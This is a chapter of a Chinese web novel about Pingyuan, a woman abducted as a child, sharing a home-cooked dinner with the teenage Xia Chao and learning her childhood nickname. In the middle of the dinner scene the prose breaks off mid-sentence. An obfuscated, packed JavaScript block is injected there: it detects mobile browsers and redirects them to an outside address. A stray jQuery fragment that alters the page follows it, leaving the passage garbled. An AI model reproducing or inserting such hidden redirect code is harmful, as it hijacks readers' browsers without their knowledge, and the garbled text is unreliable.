平原回家的时候被吓了一大跳。
隔着门就听见家里有叮叮当当的声响，她第一反应进贼了，第二反应是家被夏潮拆了，把门拉开，才发现是家里来了个田螺姑娘。
夏潮正在厨房忙活。围裙带子系在身后，衬得女孩子腰线明晰干净。她抓着锅铲，翻炒着菜，又转身，一边揭开珐琅锅的锅盖，一边将落下的碎发捋回耳后。
汤勺轻轻搅拌，鲜美的香气一下就升腾起来，她的眉眼在淡白的雾气中变得模糊，平原看见她盛了一小碗汤，用勺子试咸淡，却被烫得呜地往后一缩。
然后伸出舌尖，开始斯哈斯哈地试图晾舌头，像只小狗。
平原忍不住笑了一声，又止住。夏潮听见响动，往玄关处看去，发现是她，脸上便露出有点不好意思的神色。
“你回来了？”她明知故问。
“嗯。”平原点头。
今天的平原和昨天又有些不同，穿灰色无袖连衣裙，配切尔西靴。西装面料挺括有型，剪裁利落，冷清清站在那儿，不说话也露着锋芒。
但她的脸色却比昨天还要倦怠一点，夏潮轻声说：“你今天回来得比昨天早。”
“平时我搭地铁上下班，昨天要去接你，才堵车耽误了时间。”
她的嘴还是一如既往的不客气。
“今天碰巧赶上快车，代价是被挤成沙丁鱼罐头，”她疲倦地闭了闭眼，又把手里东西递给夏潮，“买了半拉西瓜，放冰箱吧。”
“噢……”夏潮接过西瓜，想起今天早上平原给她发的语音，似乎也是在地铁上，人声嘈杂，声音都透着行色匆匆。
她想起昨天在车上闻到的清新香水味，忍不住问：“为什么不开车上班呢？”
平原面无表情：“因为早高峰堵车。”
“哦……”山区儿童对大城市的交通拥堵没有概念，但这不妨碍夏潮乖巧地点头。她停了停，又发现华点：“那为什么要买车？”
平原愣住。
她其实有很多理由可以搪塞过去。出行方便、短途出差可以直接开车，或者干脆直接说“想买就买了呗”，随便哪一句话都可以把夏潮搪塞过去。
平原站得笔挺，静静地想，但她搪塞不了自己的心。
已经很久没人问过这个问题了。这辆车是她工作第二年买的，不算太贵的车型，加上车贷也就二十万出头。
彼时她刚刚还清助学贷款，跳槽，涨了30%的薪，便毫不犹豫地把剩下的积蓄掏出来，买了这辆车。
她不是会超前消费的人。所以刚买车时，相熟的同事都有些震惊，问她怎么忽然决定买车了。
那时的她就这样平淡地笑笑，用上面那些理由搪塞，说出门方便，想少挤点地铁。
只有她自己知道，之所以买车，是因为四岁那年，她被人贩子拐走了。
千禧年初对身份查得还不严格，火车大巴用的都是纸质车票。她还记得四岁的自己被那个女人拎起后脖颈的衣服，像拎起只猪猡一样逃票，遇到盘查严格的地方，就索性带着她挤那种无证经营的面包车。
那个年头黑车猖獗得很。一辆十二座的金杯面包车，最拥挤的时候能硬生生塞进二三十个人。
长大了平原才知道，当年这种车在当地被戏称为“卖猪车”，混乱无序，塞的大部分都是被骗去外地打黑工或是被拐卖的人。
因为心脏不舒服，她总会哭闹，人贩子索性把安眠药掺进她喝的水里。大部分时间她被塞在座位角落昏睡，少部分时间她醒来，昏昏沉沉，被女人夹在腋下，逼仄空间里，闻到车内汗臭味、隔夜饭的馊味，还有衣服上呕吐物的味道。
那种味道多年后依旧让她怕。通勤的短途地铁尚能忍受，但一旦路程超过四十分钟，她便想要发抖。
这种感觉夏潮必然不会明白。
她们之间差了整整九岁的光阴。平原想起昨天，自己忍着恶心靠近高铁站的时候，夏潮就站在那里眼睛明亮亮地看她。
十八岁的女孩子，朝气蓬勃，亮晶晶地咧嘴对她笑，一看就什么也不懂，但偏偏自知被爱。
毕竟夏玲直至临终之际，依旧在嘱托自己，说她妹妹是第一次出远门，让她多加照拂。
那样殷殷的托付，相较之下，对她的嘘寒问暖不过是流于形式的、陌生人之间的寒暄。
平原的眼神冷了下去。
夏潮不懂她的眼神，只是困惑地仰头，清澈眼睛一眨不眨，依旧在等一个答案。
最后，平原只是问：“你有没有那种，想走却走不了的时候？”
“我有，”她淡淡地说，“所以我喜欢开车的那种掌控感。”
对生活的掌控感。对她而言，车就像救命稻草，无论是恐惧还是发抖，只要握紧车钥匙，就能告诉自己，没关系，我已经长大了，随时可以走，随时可以逃跑。
平原的神色又变冷了。夏潮有点困惑，怎么开个车就谈上掌控感了？城里人说话都这么一套一套的吗？
但她不敢把话说出来，毕竟这可是平原第一次回她闲聊的话，四舍五入就等于给了她好脸色。
她得珍惜她姐的好脸色。
所以，夏潮一本正经地点头回应道：“懂。”
“我们老家住路口的二狗妹，她家在养鸡生意发达买新车时也这样，去年过年她还带着我们这帮小孩兜风，从城东开到城西，车子里放凤凰传奇，可带感了。”
“动次打次动次打次，”为了表现自己领悟彻底，她用小鸡啄米的动作模拟劲爆DJ节奏，“这就是掌控感！”
掌控个屁。
平原脸黑下去，想抽她。
但她忍住了，只说：“去吃饭吧。”
夏潮做的菜式虽然很家常，但味道很好。一碟小炒牛肉，一碗蒸得嫩嫩的鸡蛋羹，还有一锅奶白菜汤，事先煸炒过瘦肉、虾米出香味，再加入对半剪开的小白菜，大火咕嘟让汤色乳白。
平原夹了一筷小炒牛肉，不得不矜持地承认，炒得喷香。
她家的珐琅锅和铸铁锅也算是重见天日。搬家开火时她买了全套厨具，但很快就不幸发现，自己一没有做饭的天赋，二没有做饭的时间。
其实也不能说没有天赋，只是她根本没有做家常菜的经验。小时候在福利院吃大锅饭，长大了在学校食堂吃大锅饭，好不容易等毕业，又每天加班。
一个人的饭菜不好做，不是淡了生了，就是咸了糊了。她尝试了几次，觉得实在麻烦，索性吃公司的加班餐算了。
但夏潮显然不同。她坐在餐桌的另一边，又露出了那种亮晶晶的眼神，里头全是对厨艺的自豪和吃饭的渴望。
平原看着她给自己勺了一勺鸡蛋羹，又夹了一筷子牛肉，连连点头：“好吃好吃，你家的大铁锅炒菜真不错。”
“……那是铸铁锅。”
有什么区别？夏潮思索，铸铁的铁也是铁啊？
除了颠勺的时候重一点。
她给平原也盛了一碗汤：“怎么不喝汤？有青菜啊，多吃青菜身体好。”
汤里加了白胡椒，闻着就鲜美扑鼻，没有青菜的苦味。很少人给她盛汤，她有些发愣，夏潮却以为她不想吃，一下子紧张起来：“诶，你是不是不喜欢吃啊。”
很奇怪，别的时候她不在乎别人的眼光，到了做饭，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345699|183517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒有些在意起来了。她小小声地说：“那个……我是记得夏玲说你小时候爱喝这个汤来着，所以就做了，如果你不喜欢，不要勉强……”
她理解这种被夹了不喜欢的菜的勉强……夏潮局促地想，又意识到自己没用公筷，更想死了。
明明试汤的时候还记得的！她在心里汪汪呜呜地哭，怎么事到临头还忘记了呢！
“挺好吃的。”平原却忽然说。
她把牛肉放进嘴里，很认真地嚼了嚼，状似不经意地问：“这菜是夏玲教你的吗？”
“啊……嗯，”夏潮懵懵地点头，“小时候她每次煮这个汤，都会说起，我有个姐姐很爱吃。”
“还有呢？”
“她说你打小就挑食，青菜要配鸡鱼蛋肉煮到没有菜青味才肯吃。”
“……哦。”
有人掩饰性地动了动筷子。平原一直以为自己怕吃青菜这个毛病，是小时候在福利院吃出来的。
没想到竟然是从小就挑食。她心虚地咳嗽一声，决定要把这个秘密带到棺材里。
她筷子尖不自在地转着小圈，又状似无意地问：“那我本来的名字叫什么？”
她一直不知道自己的名字。当年被送来福利院的时候，她年纪太小，还不太识字，只能口齿不清地告诉大人，自己叫“yuanyuan”。
至于是哪个“yuan”，没人能知道，最后只能根据院长的姓氏，给她拣个字叫平原。
不过也无所谓，她本来就不是很在乎自己叫什么。之所以问……也只是好奇而已。
神秘的东西才会让人念念不忘，一旦你知道了它的真面目，就离忘掉它不远了。
于是平原屏息，安静地等待一个答案。夏潮却摇摇头：“我只知道你叫圆圆。”
“圆滚滚的圆，是小名，”她说，“所以有时我会叫你圆圆姐姐。”
平原一怔，抬头看了过来。
她的睫毛生得好，长而直，像两排细密的直线，垂眸时尾端轻颤，投下一小片羽毛状的淡影，看着很是柔弱。
但她抬起眼睛时，那目光又会被平直的睫毛衬得很专注，仿佛此刻她全神贯注、满心满眼都是你。
汤的香气又升起来了，乳白的热气丝丝袅袅地晕散了痕迹。夏潮看着她，蓦地心头一动。
随后，就听见平原冷冷地说：“别叫我姐姐。”
……果然是错觉。
平原还是那个平原，高傲漂亮，像一株生长在钢筋森林里的雪杉。任谁都不会把她和夏玲口中粉雕玉琢的小女孩联系在一起。
更不会让人想到，她从小就挑食。
夏潮看着她，想起刚刚平原坐在她对面喝汤，一本正经地垂着眼睛，喝汤时会把汤轻轻吹凉，再像猫一样只尝一点点。
猫舌头啊。她想起夏玲小时候骂她吃饭慢的话，心里某个地方，被热汤泡过一样悄悄地有点软。
于是她也不生气平原的冷言冷语了，抬起头，没头没脑地问：“我可以叫你圆圆吗？”
平原不轻不重地拍了她脑袋一下。
一晚上忍了又忍，终于还是下手了。她抬头，想都不想地拒绝：“不可以。”
“没大没小。”
她手指的触感停留在夏潮后脑勺，夏潮觉得自己的脑袋变成了一只西瓜，拍一下，就发出蓬一声响。
脑袋真进水了啊。怎么有人被骂了还在傻乐？
嘴角还未放下。夏潮夹了菜，一边嚼一边困惑思考，像只仓鼠，每嚼一下，望着平原的眼睛就一眨巴。
但罪魁祸首已经扭过头去，似乎也有些别扭，轻咳一声，不再看她。